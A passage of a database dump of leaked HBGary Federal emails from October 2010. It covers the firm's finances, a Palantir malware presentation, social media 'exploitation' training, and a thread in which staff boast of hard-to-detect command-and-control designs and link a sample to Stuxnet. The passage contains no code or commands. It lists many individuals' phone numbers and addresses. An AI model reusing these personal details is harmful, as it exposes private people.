nearby.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 3, 2010, at 9:20 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nB,\r\n\r\n&nbsp;\r\n\r\nAre\r\nyou coming to our office tomorrow so we can knock out the preso?&nbsp; I&#8217;d like\r\nto try and work with you and Aaron Z for a little bit if I don&#8217;t have to put\r\nany fires out onsite.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir Night Live\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9085,'aaron_hbgary_com/9085.html'),(12533,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009283.M852660P14101Q7388.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Future of HBGary Federal','Greg/Penny,\r\n\r\nI think we definitely need to discuss our options.  This has not worked out as any of us have planned to date and we are nearly out of money.\r\n\r\nWe have a few options as I see it but with any of those options I think we still need a drastic manning change in HBGary Federal.  Ted and I are too big of a weight when we don\'t have programs to manage.  We have gotten on all of the cyber operational contracts currently or in the near future being bid but those are slow to award and we are going deeper in the hole with no assurance of an outcome.  So I believe at a minimum myself and Ted likely need to find other employment.  That would likely be with ManTech.  There might be an option to leave HBGary Federal in tact and continue to run the social media and threat intelligence (tmc) work out of HBG Fed.\r\n\r\nSo here are the options I see just off the top of my head.  There may be errors in some of my logic.\r\n1. Fold HBGary Federal under HBGary and continue to drain on your revenue until some of our contracts come in.\r\n2. Close up HBGary Federal completely.\r\n3. Keep HBGary Federal going with a skeleton crew (mark) who will continue to build out the TMC, sell EndGames, and we can continue to sell social media since that won\'t take too much time out of my schedule.  And wait for our other contracts to come through.  This may be a sticky option with us working also for ManTech.  I would have to discuss this with them.\r\n4. Have ManTech buy whatever little morsel there is of HBGary Federal (wouldn\'t be much but might recoup some investment and pay off some of our taxes which we haven\'t finished paying).\r\n\r\nAnything else? Sigh.\r\n\r\nAaron\r\n\r\nOn Oct 3, 2010, at 2:35 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Guys,\r\n>  \r\n> We should have a pow-wow about the future of HBGary Federal.  Penny and I both agree that it hasn\'t really been a success.  Some ideas have been brought up over the summer, including ideas about rolling HBGary Fed into a wholly owned sub, to the opposite spectrum where HBGary Fed is renamed to something else and dis-associated from HBGary.  You guys are basically out of money and none of the work you had planned has come in.  My impression is that any of the work you currently have has been given to you by HBGary proper, with the possible exception of the social media training. \r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',10308,'aaron_hbgary_com/10308.html'),(12534,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009284.M389178P14101Q7389.eml','\"Greg Hoglund\" <greg@hbgary.com>','Back in town','Ok back in town and back in business.  Unfortunately it is with out my iPhone4 (maybe thats a blessing).  And we have a flooded kitchen from a leak in the roof.  But other than that and the huge gaping funding problem with HBGary Federal - all is good.\r\n\r\nI will review documents and catch up on correspondence.  I will be spending many nights on this this week.\r\n\r\nDid you get a model to Matt?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',11328,'aaron_hbgary_com/11328.html'),(12535,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009284.M588789P14101Q7390.eml','\"David D. Merritt\" <david.d.merritt@gmail.com>,\"David D. Merritt\" <david.d.merritt@gmail.com>','Re: Hunter Killer Insanity 285','Dave,\r\n\r\nWe haven\'t but I would be interested to talk to you some about the tie.  I do have a decent amount of information on Stuxnet and would be interested to hear about the tie.  Some of what I know about Stuxnet might be of interest.  I think it would be best to discuss in a more closed space though.\r\n\r\nIn doing a little research:\r\nhttp://diocyde.wordpress.com/2010/03/12/ringy-ringy-beacon-callbacks-why-dont-you-just-tell-them-their-pwned/\r\n\r\nWhile this guy can be a bit of a crackpot at times his post has more validity than fiction.  Greg and I have brainstormed a bit in the past on how to conduct such an attack that would be very difficult to detect.  Autonomous, single purpose malware with no C&C.  As we have said the battle is on the edges either source of destination, everything else is or will become somewhat irrelevant or diminished in value.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',7612,'aaron_hbgary_com/7612.html'),(12536,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009284.M788948P14101Q7391.eml','\"Christopher L Barnett\" <cbarnett4@csc.com>','Re: Social Media Training','Hey Chris,Doing OK. &nbsp;A bit slow.Feel free to pass along. &nbsp;The training has some very interesting attack methods for exploiting social media I am not sure many are thinking about yet.How about you? &nbsp;How is CSC treating you?AaronOn Oct 3, 2010, at 4:08 PM, Christopher L Barnett wrote:\r\nAaron:\r\n\r\nVery cool. I\'ll take a look. May I disseminate\r\nwithin CSC and discuss with some government colleagues in the IC?\r\n\r\nHow are things going otherwise?\r\n\r\nChristopher Barnett\r\nPrincipal (Strategy Expert-Cyber)\r\nComputer Sciences Corporation\r\n\r\n3110 Fairview Park Drive, Falls Church, VA 22042\r\nFederal Consulting Practice (FCP)\r\ncbarnett4@csc.com\r\n571-230-5231\r\n\r\n\"Si vis pacem, para bellum\"\r\n- Old Roman Proverb \r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nChristopher L Barnett/USA/CSC@CSC\r\n\r\nDate:\r\n10/01/2010 01:01 PM\r\n\r\nSubject:\r\nSocial Media Training\r\n\r\n\r\n\r\n\r\nHey Chris,\r\n\r\nI thought you might be interested.\r\n\r\nSocial media security is something everyone needs to be made more aware\r\nof, so we have restructured our training to make it more affordable for\r\norganizations to train as many people as they can fit into 2 days of training,\r\ncovering the essentials of familiarization, effective use, risks, methods\r\nof exploitation, and protection. &nbsp;It is quite an engaging and helpful\r\ntraining program. &nbsp;I think you would be surprised at how exploitable\r\norganizations are through social media.\r\n\r\nAttached is the training brochure. &nbsp;\r\n\r\nI would be interested to hear what you think.\r\n\r\n[attachment \"SM Training Brochure 25K Promo.pdf\" deleted by Christopher\r\nL Barnett/USA/CSC] \r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',14619,'aaron_hbgary_com/14619.html'),(12537,'2010-10-04','\"David D. Merritt\" <david.d.merritt@gmail.com>','/aaron@hbgary.com/new/1297009285.M20900P14101Q7392.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hunter Killer Insanity 285','contacts over at TSA say that everybody has a copy...combine that with US CERTs vulnerability status and their own systems not meeting the spec....\r\n\r\ni\'m seeing TSA becoming a malware testbed...\r\n\r\n\r\nOn Oct 3, 2010, at 10:13 PM, Aaron Barr wrote:\r\n\r\n> Dave,\r\n> \r\n> We haven\'t but I would be interested to talk to you some about the tie.  I do have a decent amount of information on Stuxnet and would be interested to hear about the tie.  Some of what I know about Stuxnet might be of interest.  I think it would be best to discuss in a more closed space though.\r\n> \r\n> In doing a little research:\r\n> http://diocyde.wordpress.com/2010/03/12/ringy-ringy-beacon-callbacks-why-dont-you-just-tell-them-their-pwned/\r\n> \r\n> While this guy can be a bit of a crackpot at times his post has more validity than fiction.  Greg and I have brainstormed a bit in the past on how to conduct such an attack that would be very difficult to detect.  Autonomous, single purpose malware with no C&C.  As we have said the battle is on the edges either source of destination, everything else is or will become somewhat irrelevant or diminished in value.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n> \r\n> \r\n> \r\n\r\n',3583,'aaron_hbgary_com/3583.html'),(12538,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009285.M220523P14101Q7393.eml','\"David D. Merritt\" <david.d.merritt@gmail.com>','Re: Hunter Killer Insanity 285','Not surprising.  They have no real malware analysis capability and cnd\r\nis atrocious. Still interested to hear the stuxnet tie. :). I will\r\ncheck with folks I know at tsa or FBI soc amd see if I can get a copy.\r\n\r\nLove to take a peek at it.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 3, 2010, at 10:35 PM, \"David D. Merritt\"\r\n wrote:\r\n\r\n> contacts over at TSA say that everybody has a copy...combine that with US CERTs vulnerability status and their own systems not meeting the spec....\r\n>\r\n> i\'m seeing TSA becoming a malware testbed...\r\n>\r\n>\r\n> On Oct 3, 2010, at 10:13 PM, Aaron Barr wrote:\r\n>\r\n>> Dave,\r\n>>\r\n>> We haven\'t but I would be interested to talk to you some about the tie.  I do have a decent amount of information on Stuxnet and would be interested to hear about the tie.  Some of what I know about Stuxnet might be of interest.  I think it would be best to discuss in a more closed space though.\r\n>>\r\n>> In doing a little research:\r\n>> http://diocyde.wordpress.com/2010/03/12/ringy-ringy-beacon-callbacks-why-dont-you-just-tell-them-their-pwned/\r\n>>\r\n>> While this guy can be a bit of a crackpot at times his post has more validity than fiction.  Greg and I have brainstormed a bit in the past on how to conduct such an attack that would be very difficult to detect.  Autonomous, single purpose malware with no C&C.  As we have said the battle is on the edges either source of destination, everything else is or will become somewhat irrelevant or diminished in value.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n>\r\n',9842,'aaron_hbgary_com/9842.html'),(12539,'2010-10-04','\"David D. Merritt\" <david.d.merritt@gmail.com>','/aaron@hbgary.com/new/1297009285.M438215P14101Q7394.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hunter Killer Insanity 285','stuxnet and hki285.exe have common delivery mechanism and malware traits from what i hear...payload is highly directed...\r\n\r\ni\'m transitioning contractors right now...should be back in the saddle tuesday...same job, same desk, different contractor...just got to love government contracting...\r\n\r\nOn Oct 3, 2010, at 10:52 PM, Aaron Barr wrote:\r\n\r\n> Not surprising.  They have no real malware analysis capability and cnd\r\n> is atrocious. Still interested to hear the stuxnet tie. :). I will\r\n> check with folks I know at tsa or FBI soc amd see if I can get a copy.\r\n> \r\n> Love to take a peek at it.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Oct 3, 2010, at 10:35 PM, \"David D. Merritt\"\r\n>  wrote:\r\n> \r\n>> contacts over at TSA say that everybody has a copy...combine that with US CERTs vulnerability status and their own systems not meeting the spec....\r\n>> \r\n>> i\'m seeing TSA becoming a malware testbed...\r\n>> \r\n>> \r\n>> On Oct 3, 2010, at 10:13 PM, Aaron Barr wrote:\r\n>> \r\n>>> Dave,\r\n>>> \r\n>>> We haven\'t but I would be interested to talk to you some about the tie.  I do have a decent amount of information on Stuxnet and would be interested to hear about the tie.  Some of what I know about Stuxnet might be of interest.  I think it would be best to discuss in a more closed space though.\r\n>>> \r\n>>> In doing a little research:\r\n>>> http://diocyde.wordpress.com/2010/03/12/ringy-ringy-beacon-callbacks-why-dont-you-just-tell-them-their-pwned/\r\n>>> \r\n>>> While this guy can be a bit of a crackpot at times his post has more validity than fiction.  Greg and I have brainstormed a bit in the past on how to conduct such an attack that would be very difficult to detect.  Autonomous, single purpose malware with no C&C.  As we have said the battle is on the edges either source of destination, everything else is or will become somewhat irrelevant or diminished in value.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal, LLC\r\n>>> 719.510.8478\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n\r\n',6911,'aaron_hbgary_com/6911.html'),(12540,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009285.M638798P14101Q7395.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,','Re: Malware presentation at Palantir GovCon','Aaron,\r\n\r\nI have a brief customer visit tomorrow but other than that I have cleared the day to work on this.  What time are you available to start?\r\n\r\nI need to check with customer on times tomorrow but its very close to me so shouldn\'t take long.\r\n\r\nAaron\r\n\r\nOn Oct 3, 2010, at 6:18 PM, Aaron Zollman wrote:\r\n\r\n> As soon as we have the TMC output for the files that Ted sent me, please get them to me. I\'d like to run them as early as possible Monday. \r\n> \r\n> I\'ve got a path for structuring the TMC reports -- basically, I split them out into text files by by path, registry, connection, and username and use tagging to reference back to the malware objects. \r\n> \r\n> Also, I took a look at how we might organize soysauce malware, and there are very clear clusters in that: by PE timestamp and by resource section -- it breaks down perfectly cleanly. Screenshots of both the structured documents and soysauce clusters attached.\r\n> \r\n> Aaron B: when can we meet Monday to put our slides together? I am free any time before 3:30pm.\r\n> \r\n> Thanks,\r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Friday, October 01, 2010 5:24 PM\r\n> To: mark@hbgary.com; Barr Aaron\r\n> Cc: Aaron Zollman\r\n> Subject: Fwd: Malware presentation at Palantir GovCon\r\n> \r\n> These are the files I sent to Aaron:\r\n> \r\n> \r\n> ---------- Forwarded message ----------\r\n> From: Ted Vera \r\n> Date: Fri, Sep 17, 2010 at 6:56 PM\r\n> Subject: Malware presentation at Palantir GovCon\r\n> To: Aaron Zollman \r\n> Cc: Barr Aaron , mark@hbgary.com\r\n> \r\n> \r\n> Hi Aaron,\r\n> \r\n> Attached are some known APT samples from an ongoing investigation.\r\n> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n> \r\n> Hope you have a nice weekend!\r\n> Ted\r\n> \r\n> \r\n> \r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',10,'aaron_hbgary_com/10.html'),(12541,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009285.M899660P14101Q7396.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Malware','The malware Dave Merritt is talking about is hki285.exe.  Known by many other aliases.\r\n\r\nhttp://www.prevx.com/filenames/117855860652940054-X1/RCIITSCV.EXE.html\r\n\r\nHe is telling me it has a very similar delivery mechanisms and malware traits to stuxnet....payload is highly directed.\r\n\r\nGot anything?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',11313,'aaron_hbgary_com/11313.html'),(12542,'2010-10-04','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009286.M298515P14101Q7398.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Hunter Killer Insanity 285',' \r\nAaron, Dave,\r\n \r\nWe have capability in this area and have some very advanced stuff going back a few years now.  Command and control was completely reinvented so that it would be nearly impossible to detect.  As per the post you mention, although that guy is sort of corny he is right, the perimeter solutions that are based on C2 detection patterns aren&#39;t really that good.  In fact, being blunt, they have samples of a bunch of chinese and russian malware that use sleep(...) loops and HTTP based phone-home designs and are basically addressing this one design pattern.  They don&#39;t address any other design pattern for control.  We have stuff that works in entirely other ways for years now.  Also, Aaron and I have conceptualized many other models that simply require some testing to vet out, but I&#39;m confident they would work as well.  We are just really good at this kind of thing so I have to imagine that there are guys like us who play on the opposing team who are just as good or better.  In other words, we aren&#39;t seeing alot of the stuff they have in our systems - this C2 stuff we are catching today are &#39;skiddie&#39; APT.\r\n\r\n \r\n-G\r\nOn Sun, Oct 3, 2010 at 7:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDave,We haven&#39;t but I would be interested to talk to you some about the tie.  I do have a decent amount of information on Stuxnet and would be interested to hear about the tie.  Some of what I know about Stuxnet might be of interest.  I think it would be best to discuss in a more closed space though.\r\nIn doing a little research:http://diocyde.wordpress.com/2010/03/12/ringy-ringy-beacon-callbacks-why-dont-you-just-tell-them-their-pwned/\r\nWhile this guy can be a bit of a crackpot at times his post has more validity than fiction.  Greg and I have brainstormed a bit in the past on how to conduct such an attack that would be very difficult to detect.  Autonomous, single purpose malware with no C&amp;C.  As we have said the battle is on the edges either source of destination, everything else is or will become somewhat irrelevant or diminished in value.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n',490,'aaron_hbgary_com/490.html'),(12543,'2010-10-04','\"David D. Merritt\" <david.d.merritt@gmail.com>','/aaron@hbgary.com/new/1297009286.M542897P14101Q7399.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Hunter Killer Insanity 285','understood...perimeter is a filter but not a trap...i don\'t understand why people just block javascript embedded pdfs these days...but that doesn\'t stop the encrypted pdfs that get around the system or a pdf that is brought in on CD...and as we all know, looking for the packer pr loader pattern are never going to work...you have to look for the pattern going into memory to even come close...Microsoft is working their tech towards Nozzle...and C&amp;C is HTTP...i was trying to put that message out back when HTTP and SOAP/XML started making the scene...and human attribution to the hki285.exe rootkit?DaveOn Oct 4, 2010, at 1:02 AM, Greg Hoglund wrote:&nbsp;\r\nAaron, Dave,\r\n&nbsp;\r\nWe have capability in this area and have some very advanced stuff going back a few years now.&nbsp; Command and control was completely reinvented so that it would be nearly impossible to detect.&nbsp; As per the post you mention, although that guy is sort of corny he is right, the perimeter solutions that are based on C2 detection patterns aren\'t really that good.&nbsp; In fact, being blunt, they have samples of a bunch of chinese and russian malware that use sleep(...) loops and HTTP based phone-home designs and are basically addressing this one design pattern.&nbsp; They don\'t address any other design pattern for control.&nbsp; We have stuff that works in entirely other ways for years now.&nbsp; Also, Aaron and I have conceptualized many other models that simply require some testing to vet out, but I\'m confident they would work as well.&nbsp; We are just really good at this kind of thing&nbsp;so I have to imagine that there are&nbsp;guys like us who play on the opposing team who are just as good or better.&nbsp; In other words, we aren\'t seeing alot of the stuff they have in our systems - this C2 stuff we are catching today are \'skiddie\' APT.\r\n\r\n&nbsp;\r\n-G\r\nOn Sun, Oct 3, 2010 at 7:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDave,We haven\'t but I would be interested to talk to you some about the tie. &nbsp;I do have a decent amount of information on Stuxnet and would be interested to hear about the tie. &nbsp;Some of what I know about Stuxnet might be of interest. &nbsp;I think it would be best to discuss in a more closed space though.\r\nIn doing a little research:http://diocyde.wordpress.com/2010/03/12/ringy-ringy-beacon-callbacks-why-dont-you-just-tell-them-their-pwned/\r\nWhile this guy can be a bit of a crackpot at times his post has more validity than fiction. &nbsp;Greg and I have brainstormed a bit in the past on how to conduct such an attack that would be very difficult to detect. &nbsp;Autonomous, single purpose malware with no C&amp;C. &nbsp;As we have said the battle is on the edges either source of destination, everything else is or will become somewhat irrelevant or diminished in value.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n',2077,'aaron_hbgary_com/2077.html'),(12544,'2010-10-04','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297009286.M756128P14101Q7400.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware','I have received a few emails from you guys with cryptic messages.  What is going on?  Maybe I can dig something up.On Sun, Oct 3, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThe malware Dave Merritt is talking about is hki285.exe.  Known by many other aliases.\r\n\r\nhttp://www.prevx.com/filenames/117855860652940054-X1/RCIITSCV.EXE.html\r\n\r\nHe is telling me it has a very similar delivery mechanisms and malware traits to stuxnet....payload is highly directed.\r\n\r\nGot anything?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',14731,'aaron_hbgary_com/14731.html'),(12545,'2010-10-04','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009286.M92247P14101Q7397.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware presentation at Palantir GovCon','Aaron,\r\n\r\nI\'m clear from about 10:30 onward. Show up whenever. I\'ll just be working on the demo piece before you get there; I made good progress on slides today. -az\r\n\r\nOn Oct 3, 2010, at 11:06 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Aaron,\r\n> \r\n> I have a brief customer visit tomorrow but other than that I have cleared the day to work on this.  What time are you available to start?\r\n> \r\n> I need to check with customer on times tomorrow but its very close to me so shouldn\'t take long.\r\n> \r\n> Aaron\r\n> \r\n> On Oct 3, 2010, at 6:18 PM, Aaron Zollman wrote:\r\n> \r\n>> As soon as we have the TMC output for the files that Ted sent me, please get them to me. I\'d like to run them as early as possible Monday. \r\n>> \r\n>> I\'ve got a path for structuring the TMC reports -- basically, I split them out into text files by by path, registry, connection, and username and use tagging to reference back to the malware objects. \r\n>> \r\n>> Also, I took a look at how we might organize soysauce malware, and there are very clear clusters in that: by PE timestamp and by resource section -- it breaks down perfectly cleanly. Screenshots of both the structured documents and soysauce clusters attached.\r\n>> \r\n>> Aaron B: when can we meet Monday to put our slides together? I am free any time before 3:30pm.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com] \r\n>> Sent: Friday, October 01, 2010 5:24 PM\r\n>> To: mark@hbgary.com; Barr Aaron\r\n>> Cc: Aaron Zollman\r\n>> Subject: Fwd: Malware presentation at Palantir GovCon\r\n>> \r\n>> These are the files I sent to Aaron:\r\n>> \r\n>> \r\n>> ---------- Forwarded message ----------\r\n>> From: Ted Vera \r\n>> Date: Fri, Sep 17, 2010 at 6:56 PM\r\n>> Subject: Malware presentation at Palantir GovCon\r\n>> To: Aaron Zollman \r\n>> Cc: Barr Aaron , mark@hbgary.com\r\n>> \r\n>> \r\n>> Hi Aaron,\r\n>> \r\n>> Attached are some known APT samples from an ongoing investigation.\r\n>> Please add these to the samples Aaron B sent you.  If you find any correlations please send me screenshots as it will help with this investigation.\r\n>> \r\n>> Hope you have a nice weekend!\r\n>> Ted\r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  | Mobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n> \r\n> \r\n> \r\n',8052,'aaron_hbgary_com/8052.html'),(12546,'2010-10-04','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297009286.M978826P14101Q7401.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Eric has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Eric are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Eric Eifert \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Vice President - Cyber Defense\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Eric\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Security and Investigations Industry \r\n                        \r\n                        \r\n                          Eric.Eifert@ManTech.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Eric\'s Connections (258) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Carol Williamson\r\n                ,\r\n                  Business Development Manager at Mission Essential Personnel, LLC\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Eddie Schwartz\r\n                ,\r\n                  Chief Security Officer / VP, NetWitness\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Pat Gilhuly\r\n                ,\r\n                  Executive Director at ManTech MCTS\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Francisco R. Ramirez - CISSP, PMP\r\n                ,\r\n                  Global Solutions Architect | SAIC Business Unit at EMC\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Eric\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     ManTech\r\n                    \r\n                      Eric works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Air Force Office of Special Investigations\r\n                    \r\n                      Eric works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Cisco Systems\r\n                    \r\n                      Eric knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     IBM\r\n                    \r\n                      Eric knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',15866,'aaron_hbgary_com/15866.html'),(12547,'2010-10-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009287.M201179P14101Q7402.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Re: Malware','Dave has been equally as cryptic.  